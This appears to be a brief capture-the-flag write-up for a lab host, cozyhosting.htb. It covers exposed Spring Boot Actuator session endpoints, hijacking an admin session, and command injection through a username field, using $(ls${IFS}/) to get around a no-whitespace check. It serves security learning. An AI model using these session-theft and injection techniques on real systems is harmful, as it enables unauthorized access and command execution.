This found some intereting endpoints.

Actuator endpoints are debuging information for example sessions endpoints allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a servlet-based web application that uses Spring Session.

Docs:

https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.htmldocs.spring.io

Auth bypass

Stolen session allows accessing /admin endpoint

Request:

GET /admin HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept-Language: en-US,en;q=0.5

Upgrade-Insecure-Requests: 1

Exploitation

Admin dashboard allows SSH connection to previously configured hosts.

By adding ; username it throws error implying that is executed by bash directly.

Some output can be extracted by using $(command) syntax.

When trying to execute more complex command application throws error that Username can't contain whitespaces

But this can be bypassed by using ${IFS} shell variable as this stand for separator so command $(ls${IFS}/) results in valid command.
